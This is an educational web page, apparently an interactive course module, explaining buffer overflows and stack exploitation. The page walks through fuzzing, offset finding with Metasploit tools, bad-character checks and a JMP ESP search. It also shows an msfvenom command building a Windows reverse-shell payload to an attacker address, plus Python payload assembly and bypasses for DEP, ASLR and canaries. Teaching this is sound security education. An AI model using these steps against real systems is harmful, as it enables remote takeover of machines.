Master the Dark Art of Memory Corruption
A buffer overflow occurs when a program writes more data to a buffer (fixed-size memory region) than it can hold, causing data to spill into adjacent memory locations.
Static allocation, grows downward. Contains local variables, function parameters, return addresses.
Dynamic allocation (malloc/new), grows upward. Runtime-allocated memory for objects and data structures.
Global and static variables. Initialized and uninitialized data sections (BSS).
Executable program instructions. Usually read-only to prevent code modification.
Characteristics: Most common type. Exploits stack memory where local variables and return addresses are stored.
void vulnerable_function(char *input) {
char buffer[64]; // 64-byte buffer
strcpy(buffer, input); // No bounds checking!
// If input > 64 bytes, overflow occurs
}
Characteristics: Exploits dynamically allocated memory. More complex but highly dangerous.
char *buffer = (char*)malloc(64);
strcpy(buffer, user_input); // Overflow if input > 64 bytes
// Can corrupt adjacent heap chunks
Extended Instruction Pointer - Points to next instruction to execute
Extended Stack Pointer - Points to top of stack
Extended Base Pointer - Reference point for stack frame
Accumulator - Return values, arithmetic
Control the EIP register, and you control the program's execution flow. By overwriting the saved return address on the stack with your chosen address, you can redirect execution to shellcode or existing code (ROP chains).
Send increasingly large inputs to find the crash point. Determine exactly how many bytes cause the overflow.
# Python fuzzing example
for i in range(0, 5000, 100):
payload = "A" * i
send_to_target(payload)
Use pattern_create and pattern_offset tools to find exact offset to EIP.
# Metasploit tools
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338
Identify characters that break the exploit (null bytes, newlines, etc.). Send all possible bytes and check which ones are mangled.
badchars = (
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
# ... check each byte in memory
)
Find a JMP ESP instruction in executable memory (not affected by ASLR). This becomes our return address.
# Using mona.py in Immunity Debugger
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# Returns address like: 0x625011af
Create payload using msfvenom, avoiding bad characters.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
-b "\x00\x0a\x0d" -f python -v shellcode
payload = ""
payload += "A" * offset # Fill buffer
payload += "\xaf\x11\x50\x62" # JMP ESP address (little-endian)
payload += "\x90" * 16 # NOP sled
payload += shellcode # Malicious code
Also known as: NX (No-eXecute), W^X (Write XOR Execute)
How it works: Marks memory pages as either writable OR executable, never both. Prevents shellcode execution on the stack.
Bypass: Return-Oriented Programming (ROP) - chain existing code snippets (gadgets) instead of injecting new code.
How it works: Randomizes memory addresses of stack, heap, libraries on each execution. Makes hardcoded addresses unreliable.
Bypass: Information leaks to discover addresses, brute force on 32-bit systems, ROP chains with relative addressing.
Also known as: Stack cookies, stack guards
How it works: Places random value before return address. Checks if canary is intact before function returns.
Bypass: Leak canary value, overwrite canary with correct value, target other memory regions.
Prevention methods:
Visualize how buffer overflows corrupt stack memory and overwrite the EIP register.
Understanding the structure of shellcode - the malicious payload executed after successful exploitation.
Shellcode is raw machine code written as hexadecimal bytes. The \x prefix indicates a hex value:
\x31 = byte value 49 in decimal (0011 0001 in binary)\xc0 = byte value 192 in decimal\x90 = NOP instruction (No Operation) - commonly used in NOP sledsEach \xNN is one byte of CPU instruction that executes directly on the processor. Chained together, they form the malicious payload.
Click "Generate Shellcode" to see example payload...
Test your understanding of buffer overflow concepts and exploitation techniques.
Complete all sections and pass the quiz to earn your XP reward!